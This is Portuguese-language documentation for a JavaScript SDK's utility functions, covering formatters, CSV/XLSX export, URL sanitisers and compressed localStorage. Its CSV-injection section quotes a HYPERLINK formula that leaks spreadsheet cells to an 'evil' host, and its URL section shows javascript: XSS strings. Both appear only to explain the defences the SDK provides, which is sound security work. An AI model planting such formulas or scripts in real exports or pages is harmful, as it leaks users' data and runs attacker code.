Ir para o conteúdo

Utilitários

Coleção de funções puras, sem dependência de React, pra resolver as tarefas chatas do dia a dia — agrupar listas, mesclar objetos, debouncar callbacks, formatar bytes. Tudo é importado direto de tempest-react-sdk e funciona em qualquer ambiente JS (browser, Node, worker).

import { groupBy, pick, debounce, formatBytes } from "tempest-react-sdk";

Tree-shaking

Cada função é um export nomeado independente. Importe só o que usar — o bundler do seu app remove o resto.


Formatters na gallery

Seção utils da gallery — rode localmente para interagir.

Arrays

Helpers de coleção que nunca mutam a entrada — sempre devolvem um novo array (ou objeto).

Função Assinatura O que faz
groupBy(items, key) <T, K>(items: T[], key: (item: T) => K) => Record<K, T[]> Agrupa items em baldes pela chave retornada por key.
uniqueBy(items, key) <T>(items: T[], key: (item: T) => unknown) => T[] Remove duplicatas, mantendo a primeira ocorrência de cada chave.
chunk(items, size) <T>(items: T[], size: number) => T[][] Quebra a lista em pedaços de no máximo size items.
range(start, end, step?) (start: number, end: number, step?: number) => number[] Gera uma faixa numérica [start, end) com passo step (1).
import { groupBy, uniqueBy, chunk, range } from "tempest-react-sdk";

groupBy([1, 2, 3, 4], (n) => (n % 2 === 0 ? "even" : "odd"));
// { odd: [1, 3], even: [2, 4] }

uniqueBy(
  [
    { id: 1, v: "a" },
    { id: 1, v: "b" },
    { id: 2, v: "c" },
  ],
  (u) => u.id,
);
// [{ id: 1, v: "a" }, { id: 2, v: "c" }]

chunk([1, 2, 3, 4, 5], 2); // [[1, 2], [3, 4], [5]]

range(0, 5); // [0, 1, 2, 3, 4]
range(0, 10, 2); // [0, 2, 4, 6, 8]
range(5, 0, -1); // [5, 4, 3, 2, 1]

chunk exige size >= 1

Chamar chunk(items, 0) lança RangeError. range com passo na direção errada (ou 0) devolve [] em vez de estourar.


Objetos

Cópias imutáveis e merge recursivo. Nenhuma dessas funções altera a entrada.

Função Assinatura O que faz
pick(obj, keys) <T, K extends keyof T>(obj: T, keys: K[]) => Pick<T, K> Novo objeto só com as chaves pedidas (chaves ausentes são puladas).
omit(obj, keys) <T, K extends keyof T>(obj: T, keys: K[]) => Omit<T, K> Novo objeto sem as chaves indicadas.
deepMerge(target, src) <T>(target: T, source: Partial<T>) => T Merge recursivo de objetos planos; arrays/instâncias substituem.
isEmpty(value) (value: unknown) => boolean true pra null, "", [], {}, Map/Set vazios.
import { pick, omit, deepMerge, isEmpty } from "tempest-react-sdk";

pick({ id: 1, name: "Ana", age: 30 }, ["id", "name"]);
// { id: 1, name: "Ana" }

omit({ id: 1, name: "Ana", age: 30 }, ["age"]);
// { id: 1, name: "Ana" }

interface Settings {
  a: number;
  nested: { x: number; y: number; z?: number };
}

const base: Settings = { a: 1, nested: { x: 1, y: 2 } };

deepMerge(base, { nested: { x: 1, y: 20, z: 30 } });
// { a: 1, nested: { x: 1, y: 20, z: 30 } }

isEmpty(0); // false — números nunca são "vazios"
isEmpty(false); // false
isEmpty(""); // true

deepMerge não funde arrays

Arrays e valores não-planos (datas, instâncias de classe, primitivos) substituem o valor do target inteiro — não há merge elemento a elemento. deepMerge({ tags: ["a", "b"] }, { tags: ["c"] }) resulta em { tags: ["c"] }.


Type guards

Narrowing seguro de tipos. Combinam bem com Array.prototype.filter e switch exaustivos.

Função Assinatura O que faz
isDefined(value) <T>(value: T \| null \| undefined) => value is T true quando o valor não é null nem undefined.
isString(value) (value: unknown) => value is string true pra string primitiva.
isNumber(value) (value: unknown) => value is number true pra número, excluindo NaN.
isPlainObject(value) (value: unknown) => value is Record<string, unknown> true só pra objeto literal (não array/data/instância).
assertNever(value, message?) (value: never, message?: string) => never Lança sempre — marca caminhos inalcançáveis.
import { isDefined, isNumber, assertNever } from "tempest-react-sdk";

const xs: (number | null)[] = [1, null, 2];
const clean: number[] = xs.filter(isDefined); // [1, 2] — tipo já narrowed

isNumber(NaN); // false
isNumber("42"); // false

type Shape = "circle" | "square";
function area(shape: Shape): number {
  switch (shape) {
    case "circle":
      return 1;
    case "square":
      return 2;
    default:
      return assertNever(shape); // erro de compilação se um caso for esquecido
  }
}

assertNever é checagem de exaustividade

Use no default de um switch. Se você adicionar um membro novo à union e esquecer de tratá-lo, o TypeScript reclama na hora da compilação — e o runtime falha alto se algo escapar.


Funções

Wrappers de controle de execução. debounce e throttle expõem .cancel().

Função Assinatura O que faz
debounce(fn, wait) <A>(fn: (...a: A) => void, wait: number) => ((...a: A) => void) & { cancel } Adia fn até wait ms sem novas chamadas (trailing-edge).
throttle(fn, wait) <A>(fn: (...a: A) => void, wait: number) => ((...a: A) => void) & { cancel } Executa no máximo 1x por wait ms (leading + trailing edge).
once(fn) <A, R>(fn: (...a: A) => R) => (...a: A) => R Roda fn só na primeira chamada; depois devolve o cache.
memoizeOne(fn) <A, R>(fn: (...a: A) => R) => (...a: A) => R Memoiza apenas a última chamada (args comparados com Object.is).
import { debounce, throttle, once, memoizeOne } from "tempest-react-sdk";

const save = debounce((q: string) => search(q), 300);
save("a");
save("ab");
save("abc"); // só "abc" roda após 300ms
save.cancel(); // cancela a chamada pendente

const onScroll = throttle(() => render(), 200);
window.addEventListener("scroll", onScroll);

const init = once(() => expensiveSetup());
init(); // roda
init(); // devolve o mesmo resultado, sem re-rodar

const select = memoizeOne((a: number, b: number) => a + b);
select(1, 2); // calcula 3
select(1, 2); // cache 3
select(2, 2); // recalcula 4

memoizeOne lembra só do último

Diferente de um cache LRU — qualquer lista de argumentos diferente recomputa e substitui o cache. Ideal pra selectors derivados de props.


Promises

Função Assinatura O que faz
sleep(ms) (ms: number) => Promise<void> Resolve depois de ms milissegundos.
withTimeout(promise, ms, msg?) <T>(promise: Promise<T>, ms: number, message?: string) => Promise<T> Corre promise contra um timeout; rejeita com TimeoutError.
import { sleep, withTimeout } from "tempest-react-sdk";

await sleep(500); // pausa meio segundo

try {
  await withTimeout(fetch("/slow"), 3000, "request too slow");
} catch (error) {
  // error.name === "TimeoutError" quando estourou os 3s
}

IDs

Função Assinatura O que faz
randomId(prefix?) (prefix?: string) => string Id resistente a colisão (usa crypto.randomUUID() com fallback).
import { randomId } from "tempest-react-sdk";

randomId(); // "9f1c2b3a-..." (uuid) ou "lq3f8k-4a9z1" (fallback)
randomId("user"); // "user-9f1c2b3a-..."

Bom pra keys de UI

Use em listas geradas no cliente quando não há id estável vindo do servidor. Para ids persistidos, prefira o id real do backend.


Strings

Função Assinatura O que faz
capitalize(value) (value: string) => string Maiúscula só no primeiro caractere.
camelCase(value) (value: string) => string Converte pra camelCase.
kebabCase(value) (value: string) => string Converte pra kebab-case (quebra também em camelCase).
pluralize(count, singular, pl?) (count: number, singular: string, plural?: string) => string Escolhe singular/plural pela contagem (devolve só a palavra).
import { capitalize, camelCase, kebabCase, pluralize } from "tempest-react-sdk";

capitalize("hello world"); // "Hello world"

camelCase("foo-bar_baz"); // "fooBarBaz"
camelCase("API response"); // "apiResponse"

kebabCase("helloWorld"); // "hello-world"
kebabCase("APIResponse"); // "api-response"

pluralize(1, "item"); // "item"
pluralize(3, "item"); // "items"
pluralize(2, "person", "people"); // "people"

Pré-existentes — slugify e truncate

Já presentes no módulo de strings: slugify(input) gera um slug URL-safe ("São Paulo / Centro" → "sao-paulo-centro"), e truncate(input, max, suffix?) corta texto em max caracteres acrescentando … (ou o suffix informado).


Números

Função Assinatura O que faz
formatBytes(bytes, decimals?) (bytes: number, decimals?: number) => string Tamanho legível em B/KB/MB/GB/TB (base 1024).
formatCompactNumber(value, loc?) (value: number, locale?: string) => string Notação compacta (1.2K, 3.4M) via Intl.NumberFormat.
percentOf(part, total) (part: number, total: number) => number Percentual 0–100, com base zero devolvendo 0.
formatPercent(value, options?) (value: number, options?: { decimals?: number }) => string Fração 0–1 como percentual pt-BR; decimals default 1.
import { formatBytes, formatCompactNumber, clamp } from "tempest-react-sdk";

formatBytes(0); // "0 B"
formatBytes(1536); // "1.5 KB"
formatBytes(1536, 2); // "1.50 KB"

formatCompactNumber(1234); // "1.2K"
formatCompactNumber(5600000); // "5.6M"
formatCompactNumber(1234, "pt-BR"); // "1,2 mil"

formatPercent(0.9874); // "98,7%"
formatPercent(0.9874, { decimals: 2 }); // "98,74%"
formatPercent(0 / 0); // "—"

decimals é fixo: preenche e trunca

formatPercent(0.5, { decimals: 3 }) é "50,000%", não "50%". Coluna de números fica alinhada, que é o caso em que a casa a mais importa — a confiança de um classificador a 98,7% no card de resumo e a 98,74% na tela de detalhe são duas leituras diferentes do mesmo número, e a precisão pertence ao call site.

Entrada não-finita vira —, não NaN%

Intl.NumberFormat renderiza NaN como "NaN%" e Infinity como "∞%" — uma divisão por zero lá em cima vira uma tela que parece bug em vez de dado ausente. formatPercent devolve "—", alinhado com o formatDurationMs de /perf, que já respondia assim.

O par com percentOf continua valendo: ele recebe fração (0–1), então é formatPercent(percentOf(a, b) / 100).

Pré-existente — clamp

clamp(value, min, max) prende um número no intervalo [min, max] (e tolera min > max, trocando os limites). clamp(120, 0, 100) → 100.

percentOf existe pelo NaN%, não pela divisão

(ativos / total) * 100 com total === 0 produz NaN, e NaN% no painel vazio é a forma mais comum de um dashboard anunciar que ainda não tem dado. percentOf(5, 0) é 0; não-finito também vira 0. Ele não limita em 100 — 150% de uma meta é dado real que alguém quer ver. Cuidado com o par: formatPercent recebe fração (0–1), então é formatPercent(percentOf(a, b) / 100).


Valor ausente — uma resposta só

Todo campo de data de uma API é anulável (deleted_at, expires_at, metade dos updated_at), e todo número pode faltar. Os formatadores do SDK respondem a isso de um jeito só: —.

import { formatCurrency, formatDate, ABSENT_TEXT } from "tempest-react-sdk";

formatCurrency(saldo); // "—" quando saldo é null
formatDate(pedido.entregueEm); // "—" quando ainda não foi entregue
formatDate(pedido.entregueEm, { fallback: "pendente" }); // o texto é seu

ABSENT_TEXT; // "—", para quando a sua própria célula precisa combinar

Vale para formatCurrency, formatBytes, formatCompactNumber, formatPercent, formatDate e formatDateTime. Os dois que alimentam <input> — formatDateForInput e formatDateTimeForInput — respondem "", porque é o que um input lê como "sem valor"; um travessão chegaria como conteúdo que o usuário precisa apagar antes de digitar.

Antes da 0.66.0, ausente virava número plausível

Medido na 0.65.0, com o que chegava à tela para uma coluna que o backend deixou nula:

entrada formatCurrency formatBytes formatCompactNumber formatDate
null "R$ 0,00" "NaN undefined" "0" lança TypeError
undefined "R$ NaN" "NaN undefined" "NaN" lança TypeError

Os dois zeros são o motivo de isto ser correção de dado, e não de aparência: NaN pelo menos parece quebrado, enquanto R$ 0,00 e 0 são números que o leitor não tem como questionar — Intl converte null em zero, e ninguém a jusante distingue isso de um zero real.

E formatDate(null) derrubava a tela: null.getTime é TypeError, então uma coluna anulável não rendia um espaço em branco, rendia um erro.

Ausente e inválido não são a mesma coisa

Valor presente que não dá para interpretar — um ISO corrompido — continua respondendo "", e isso é de propósito. Lendo um log, "ninguém preencheu" e "o que preencheram está quebrado" são achados diferentes, e o segundo é o que vale investigar. Uma célula vazia e uma com — param de significar a mesma coisa.


Data para <input type="date"> — formatDateForInput

formatDate produz dd/MM/yyyy, que um <input type="date"> rejeita — ele exige yyyy-MM-dd. Todo formulário com data reescreve esse recorte, e reescreve errado.

import { formatDateForInput } from "tempest-react-sdk";

formatDateForInput(new Date(2026, 4, 16)); // "2026-05-16"
formatDateForInput("2026-05-16"); // "2026-05-16"
formatDateForInput("não é data"); // "" — o input lê como "sem valor"

toISOString().slice(0, 10) erra o dia, e erra só à noite

É o reflexo de todo mundo, e toISOString converte pra UTC antes: em UTC-3, qualquer horário depois das 21h reporta o dia seguinte. O formulário abre na data errada só pra quem mexe à noite, que é o pior tipo de bug pra reproduzir. formatDateForInput monta a data pelas partes locais.

String yyyy-MM-dd volta intacta — e isso é essencial, não atalho

new Date("2026-05-16") é meia-noite UTC, que em UTC-3 é dia 15 às 21h. Sem esse desvio, devolver ao input exatamente o valor que o backend mandou o moveria um dia pra trás.


Data e hora para <input type="datetime-local"> — formatDateTimeForInput

O irmão do anterior, para o campo que guarda quando, não só qual dia. A armadilha é idêntica — e aqui ela cobra a hora junto com a data.

import { formatDateTimeForInput } from "tempest-react-sdk";

formatDateTimeForInput(new Date(2026, 4, 16, 14, 30)); // "2026-05-16T14:30"
formatDateTimeForInput("2026-05-16T14:30"); // "2026-05-16T14:30"
formatDateTimeForInput("2026-05-16T14:30:45"); // "2026-05-16T14:30" — segundos caem
formatDateTimeForInput("não é data"); // "" — o input lê como "sem valor"

Um agendamento que volta do backend em ISO com fuso preenche o campo sem deslocar:

import { formatDateTimeForInput } from "tempest-react-sdk";

interface Appointment {
    id: string;
    /** ISO 8601 com fuso, como o backend serializa. */
    startsAt: string;
}

export function AppointmentForm({ appointment }: { appointment: Appointment }) {
    return (
        <form method="post">
            <label htmlFor="startsAt">Início</label>
            <input
                id="startsAt"
                name="startsAt"
                type="datetime-local"
                defaultValue={formatDateTimeForInput(appointment.startsAt)}
            />
            <button type="submit">Salvar</button>
        </form>
    );
}

toISOString().slice(0, 16) erra a data e a hora

Mesma causa do irmão, dano maior: um horário das 22h em UTC-3 vira 2026-05-17T01:00 — o formulário abre no dia seguinte, de madrugada. formatDateTimeForInput monta tudo pelas partes locais.

String com fuso não volta intacta, e é de propósito

"2026-05-16T14:30" (ingênua) volta como está. "2026-05-16T14:30:00Z" não — é um instante diferente do que parece, então é convertido para o calendário local que o campo precisa mostrar. Só o formato exato yyyy-MM-ddTHH:mm pega o atalho.

Os segundos caem, e isso mantém o valor honesto

Um datetime-local anda de minuto em minuto a menos que o app defina step. Um :ss que o campo não representa seria descartado na primeira edição de qualquer jeito — truncar aqui faz o valor exibido e o valor submetido serem o mesmo.


Planilhas .xlsx — writeXlsx

Exportar dados como CSV parece simples até um acento virar é no Excel. writeXlsx(headers, rows) gera um workbook Office Open XML (.xlsx) de uma aba direto em memória — UTF-8 de ponta a ponta, então acentos sobrevivem em Excel/LibreOffice/Google Sheets sem a fragilidade de BOM do CSV. A única dependência é o fflate (usado para deflate do pacote), já embutido no SDK.

import { writeXlsx } from "tempest-react-sdk";

const bytes = writeXlsx(
  ["Nome", "Score", "Observação"],
  [
    ["Ada", 99, "aprovada"],
    ["Alan", 87, null], // null vira célula vazia
  ],
);

const blob = new Blob([bytes], {
  type: "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
});
  • headers: string[] — a primeira linha (cabeçalho).
  • rows: (string | number | null)[][] — cada valor vira uma célula: number usa o tipo nativo "n" (o app de planilha reconhece como número), null (ou "") vira célula vazia, o resto é string inline.
  • Retorna os bytes do arquivo como Uint8Array.

O XML é enxuto de propósito: strings inline (sem tabela de shared-strings), sem estilos, sem merge. É um escritor genérico — mapeie seus registros de domínio para headers/rows na camada da sua aplicação.

Do byte ao usuário

Combine com shareOrDownloadBlob: writeXlsx → new Blob([...]) → shareOrDownloadBlob(blob, "dados.xlsx") abre a sheet nativa no celular e baixa no desktop.


CSV — toCsv e downloadCsv

O .xlsx é o formato certo pra quem vai abrir a planilha. CSV é o formato certo pra quem vai importar o arquivo em outro sistema — e é o que quase todo painel acaba escrevendo na mão, errando sempre nos mesmos dois pontos: um nome com vírgula parte a linha, e um nome com aspas quebra justamente a proteção que as aspas deveriam dar.

import { toCsv, downloadCsv, type CsvColumn } from "tempest-react-sdk";

const COLUNAS: CsvColumn<Usuario>[] = [
  { key: "nome", header: "Nome" },
  { key: "email", header: "E-mail" },
  { key: "plano", header: "Plano", csv: (u) => u.plano?.label ?? "" },
];

const texto = toCsv(usuarios, COLUNAS); // string pronta
await downloadCsv(usuarios, COLUNAS, "usuarios.csv"); // entrega ao usuário
Assinatura O que faz
toCsv(rows, columns, options?) Devolve o arquivo inteiro como string.
downloadCsv(rows, columns, fileName?, options?) Monta o blob text/csv;charset=utf-8 e passa pro shareOrDownloadBlob.
CsvColumn<T> { key, header, csv? }
CsvOptions { delimiter?: "," \| ";", bom?: boolean, neutralizeFormulas?: boolean } — defaults ",", true e true.

A coluna do DataTable não serve direto quando tem render

DataTableColumn.render devolve ReactNode. Exportar isso escreve [object Object] justamente na coluna que tem badge, link ou data formatada — a mais importante da tabela. Uma coluna sem render é estruturalmente compatível e pode ser reaproveitada; com render, dê o acessor csv.

Escaping RFC 4180, e o BOM que o Excel pt-BR exige

Campo com o delimitador, com aspas ou com quebra de linha vira campo citado — e, com neutralizeFormulas ligado, também o texto que tem ,, ; ou TAB, seja qual for o delimitador (ver abaixo) —, e cada aspas interna é duplicada. O arquivo termina as linhas com \r\n. O BOM vem por padrão porque sem ele o Excel em pt-BR lê UTF-8 como Latin-1 e todo acento vira mojibake.

Fórmula vira texto por padrão (CSV injection)

Campo de texto que começa com =, +, -, @, TAB ou CR é tratado como início de fórmula pela lista da OWASP — Excel e Google Sheets leem assim; o LibreOffice 26.2 avaliou só o = (tabela abaixo). Abrir o arquivo avalia a fórmula. Um nome de usuário =HYPERLINK("https://evil/?d="&A1,"ver") vira um link que vaza as outras células. Por isso toCsv e downloadCsv prefixam ' nesses campos, como recomenda a OWASP: o LibreOffice 26.2 importou =1+2 como a fórmula of:=1+2 (valor 3) antes, e como o texto '=1+2 depois.

Número não é tocado: célula number, ou texto que é só número ("-5", "-1.234,56", "+42"), não pode ser fórmula — e prefixar transformaria todo valor negativo do relatório em texto. O "-" sozinho também fica como está: é o placeholder de "sem valor" e não tem operando para virar fórmula. O custo é o ' visível no texto neutralizado. Se o arquivo vai pro importador de outro sistema, e não pra planilha de uma pessoa, desligue com { neutralizeFormulas: false } e os bytes saem como vieram.

Como cada entrada é lida, medido convertendo o CSV com o LibreOffice 26.2 headless (soffice --headless --infilter="CSV:59,34,76,1" --convert-to fods) e lendo o table:formula de cada célula:

Entrada Sem prefixo (neutralizeFormulas: false) Com prefixo (padrão)
=1+2 fórmula, valor 3 texto '=1+2
=HYPERLINK("http://…/?d="&A1,"x") fórmula texto
+55 (11) 99999-9999 texto texto '+55 (11) 99999-9999
@maria texto texto '@maria
- texto texto - (isento)
TAB + =1+1 texto texto ' + TAB + =1+1 (medido antes do #481; hoje o campo também sai entre aspas, ver abaixo)
espaço + =1+1 texto texto (não é gatilho)
\n=1+1 (campo entre aspas) texto texto (não é gatilho)

O LibreOffice só avaliou o =. +, @ e TAB seguem no gatilho porque Excel e Google Sheets os leem como início de fórmula — essa é a lista da OWASP, e ela não foi medida aqui no Excel.

Delimitador ; é o certo em locale pt-BR

Onde o separador decimal é a vírgula, o Excel abre um CSV separado por vírgula em uma coluna só. { delimiter: ";" } resolve — e o escaping acompanha, citando o campo que contém ;.

Texto com o separador do outro locale sai entre aspas

O mesmo arquivo costuma ser aberto por planilhas com separadores diferentes: num CSV com ,, um Excel pt-BR pode partir a linha em ;. Por isso o texto que tem ,, ; ou TAB sempre sai entre aspas, seja qual for o delimitador. Campo entre aspas não é dividido pela planilha, então o trecho depois do separador nunca começa uma célula — e o texto do usuário sai intacto, sem ' no meio. Com o delimitador padrão:

Entrada Antes (até a 0.77) Agora
x;=HYPERLINK(CHAR(104)&A1) x;=HYPERLINK(CHAR(104)&A1) "x;=HYPERLINK(CHAR(104)&A1)"
a,=1+2 (com delimiter: ";") a,=1+2 "a,=1+2"
x + TAB + =1+2 x + TAB + =1+2 "x + TAB + =1+2"
TAB + =1+1 ' + TAB + =1+1 "' + TAB + =1+1" (um prefixo só, no início)
-1.234,56 (com delimiter: ";") -1.234,56 -1.234,56 (número puro: sem aspas)

O ' continua só no início do campo, como antes. Saída medida com toCsv nas duas versões; nenhuma planilha estava disponível no ambiente, então como o Excel e o LibreOffice leem esses arquivos não foi medido. { neutralizeFormulas: false } desliga isso também e mantém a citação só pelo delimitador.

0 e false são exportados; null e undefined viram campo vazio

Vazio é ausência, não falsidade. Tratar 0 como vazio é como um relatório passa a sub-reportar toda linha que legitimamente vale zero. Date sai em ISO, que qualquer sistema reimporta sem adivinhar formato.

Lista vazia gera o cabeçalho, não um arquivo vazio

Quem abre precisa ver quais colunas pediu. Arquivo de zero byte parece erro de exportação.


URL que veio de outra pessoa — safeLinkUrl, safeImageUrl, safeAttachmentUrl

Todo href montado com dado de usuário é um lugar onde javascript:alert(1) vira script no clique. O React 19 troca um href javascript: por um stub que lança erro, mas o SDK aceita React 18 — e o 18 só avisa no console. Medido com react-dom 18.3.1: o href sai literal, e clicar roda o script no Chromium 153 e no Firefox 155, mesmo com download no <a>.

Os três helpers são a mesma allowlist de esquema que o Markdown e o Chat usam por dentro. Devolvem a URL, ou null quando ela não pode virar href/src:

import { safeAttachmentUrl, safeImageUrl, safeLinkUrl } from "tempest-react-sdk";

export function Anexo({ url, nome }: { url: string; nome: string }) {
  const href = safeAttachmentUrl(url);
  return href ? (
    <a href={href} download={nome}>
      {nome}
    </a>
  ) : (
    <span>{nome}</span>
  );
}

safeLinkUrl("https://x.dev"); // "https://x.dev"
safeLinkUrl("JaVaScRiPt:alert(1)"); // null
safeImageUrl("data:image/svg+xml;base64,PHN2Zz4="); // null
Helper Aceita Use em
safeLinkUrl http, https, mailto, tel, sms, relativa link que a pessoa clica
safeImageUrl o mesmo + data:image/ raster (png/jpeg/gif/webp/avif/bmp) src de imagem
safeAttachmentUrl http, https, blob, relativa + data:image/ raster arquivo pra baixar — blob: é o upload ainda em voo

Allowlist, não blocklist

Antes de comparar, os três tiram espaço e caractere de controle, então java\tscript: e \u0001javascript: caem como javascript:. Uma blocklist teria que enumerar cada grafia; a allowlist recusa o que não conhece.

safeAttachmentUrl devolve a URL como veio

O esquema é julgado na forma normalizada, mas o retorno é o original: normalizar apaga espaço, e /arquivos/relatório final.pdf é um caminho real. A normalização só remove caracteres — mais do que o parser de URL do navegador remove —, então não há esquema que ele veja e o helper não.

Storage comprimido — compressedStorage

localStorage dá cerca de 5 MB por origem e cobra dois bytes por caractere. Um app offline-first que guarda estado de verdade — um save de jogo, um rascunho longo, um cache de catálogo — bate nesse teto antes do que parece, e o sintoma é um QuotaExceededError no meio de uma escrita, não um aviso.

compressedStorage é o mesmo wrapper tipado do storage, só que gzipando o que escreve:

import { compressedStorage } from "tempest-react-sdk";

compressedStorage.set("save", { level: 12, inventory: items });

const save = compressedStorage.get("save", null);
  • get<T>(key, fallback) — descomprime e faz parse. Chave ausente, ilegível ou corrompida devolve fallback; nunca lança.
  • set<T>(key, value) — comprime e grava.
  • remove(key) — apaga a chave.

Mesma implementação dos dois, via createJsonStorage

storage e compressedStorage são a mesma função por baixo — createJsonStorage(codec) — então a superfície dos dois não pode divergir. Até a v0.44.0 o comprimido era uma cópia escrita à mão das mesmas guardas, e não tinha remove, enquanto a docstring dele prometia que os dois eram intercambiáveis no call site. Quem seguiu a promessa quebrou no primeiro remove.

Codec próprio é o mesmo caminho:

import { createJsonStorage } from "tempest-react-sdk";

// Um store que cifra antes de gravar.
const secrets = createJsonStorage({
  serialize: (value) => encrypt(JSON.stringify(value)),
  deserialize: (raw) => JSON.parse(decrypt(raw)),
});

Se o codec lançar, o valor é gravado como JSON puro em vez de descartado: registro maior ainda carrega, registro ausente não. Só um valor que nem JSON representa (referência circular) perde a escrita.

O formato é autodescritivo

Cada valor gravado leva o prefixo ~tgz1:. Isso resolve o problema chato de ligar compressão numa chave que já existe: uma leitura sem o marcador cai no JSON.parse normal, então os dados que já estavam lá continuam legíveis. Nada de migração, nada de save órfão.

O mesmo caminho cobre a escrita degradada: se a compressão falhar, o valor é gravado como JSON puro em vez de descartado — um registro maior ainda carrega, um ausente não.

Por que base64, e não empacotar em UTF-16

Base64 gasta um terço a mais de caracteres que os bytes comprimidos, e o localStorage ainda cobra dois bytes por caractere em cima disso. Empacotar os bytes direto em code units UTF-16 seria mais denso, mas surrogates soltos não sobrevivem a toda implementação de storage nem a um round-trip de JSON — e um save que decodifica em lixo é muito pior que um save maior. Mesmo com essa folga, um JSON típico fica bem abaixo de um terço do tamanho original.

Com useLocalStorage

Para estado React, passe o codec em vez de usar a API imperativa — você ganha a sincronia entre abas e o guard de SSR do hook de graça:

import { compressedStorageCodec, useLocalStorage } from "tempest-react-sdk";

const [save, setSave] = useLocalStorage("save", EMPTY_SAVE, compressedStorageCodec);

compressToString / decompressFromString também são exportados soltos, para quando o destino não é localStorage (um POST de backup, um IndexedDB).

Não é para tudo

Comprimir custa CPU nas duas pontas. Para uma preferência de tema ou um flag booleano, use o storage normal — o ganho é zero e o custo não. compressedStorage vale a partir de payloads na casa das dezenas de KB.

String crua — getRaw e setRaw

get/set passam pelo codec nas duas pontas: storage.set("tema", "dark") grava "dark" — com as aspas. Isso é certo enquanto a chave é sua, e é um problema silencioso no dia em que ela não é:

import { storage } from "tempest-react-sdk";

localStorage.setItem("tema", "dark"); // o que o app já tinha, ou outra lib

storage.get("tema", "system"); // "system" — o JSON.parse falhou e caiu no fallback
storage.getRaw("tema"); // "dark"

storage.setRaw("tema", "dark"); // grava dark, sem aspas — o leitor antigo continua lendo
  • getRaw(key) — devolve a string exatamente como está, ou null (chave ausente, storage indisponível).
  • setRaw(key, value) — grava a string exatamente como veio.

Mesma política best-effort do par JSON: SSR-safe, nunca lança, silencia erro de quota e de modo privativo.

Adotar o storage numa chave que já existe é migração, não troca de import

Sem o par cru, trocar localStorage.getItem por storage.get faz duas coisas ao mesmo tempo: a leitura do valor antigo cai no catch e devolve o fallback, e a primeira escrita substitui o valor por uma versão entre aspas que o código antigo não reconhece mais. Nada falha visivelmente. Numa PWA instalada isso é preferência do usuário resetada; quando a chave guarda refresh token, é logout.

Use getRaw/setRaw na chave que já existe, ou migre-a de propósito — lendo com getRaw e regravando com set.

Interop com quem não fala JSON

A chave tempest-theme do ThemeProvider é o exemplo dentro do próprio SDK: ela guarda dark puro, porque é lida também pelo script inline de themeInitScript(), antes de qualquer JavaScript do app rodar. Desde a v0.65.0 o ThemeProvider usa storage.getRaw/setRaw, então há um caminho só de acesso ao localStorage no SDK — e a chave continua legível por quem a lê à mão.

Também vale para store com codec

getRaw num compressedStorage devolve a string comprimida com o marcador ~tgz1:, sem descomprimir: cru quer dizer sem codec, não sem compressão especificamente.


Recap

  • Importe qualquer helper direto de tempest-react-sdk — todos são exports nomeados, puros e tree-shakable.
  • Planilhas: writeXlsx(headers, rows) gera um .xlsx UTF-8 de uma aba como Uint8Array (sem drama de BOM do CSV).
  • CSV: toCsv(rows, columns) escreve o arquivo com escaping RFC 4180 e BOM, e neutraliza fórmula por padrão; downloadCsv(...) entrega direto ao usuário.
  • URL de usuário: safeLinkUrl, safeImageUrl e safeAttachmentUrl devolvem a URL ou null — allowlist de esquema antes de qualquer href/src.
  • Datas e percentuais: formatDateForInput dá o yyyy-MM-dd que o <input type="date"> exige e formatDateTimeForInput dá o yyyy-MM-ddTHH:mm do <input type="datetime-local"> (os dois pelas partes locais, sem o desvio de UTC); percentOf devolve 0 em vez de NaN quando a base é zero.
  • Storage comprimido: compressedStorage.get/set gzipa o que grava; formato autodescritivo (~tgz1:) lê valores antigos sem migração. Com React, useLocalStorage(key, def, compressedStorageCodec).
  • Arrays/Objetos: groupBy, uniqueBy, chunk, range, pick, omit, deepMerge, isEmpty — sempre imutáveis; deepMerge substitui arrays em vez de fundir.
  • Guards: isDefined, isString, isNumber, isPlainObject, assertNever — narrowing seguro + exaustividade em switch.
  • Funções: debounce/throttle (com .cancel()), once, memoizeOne para controlar execução.
  • Promises/IDs/Strings/Números: sleep, withTimeout, randomId, capitalize/camelCase/kebabCase/pluralize, formatBytes/formatCompactNumber.

Veja também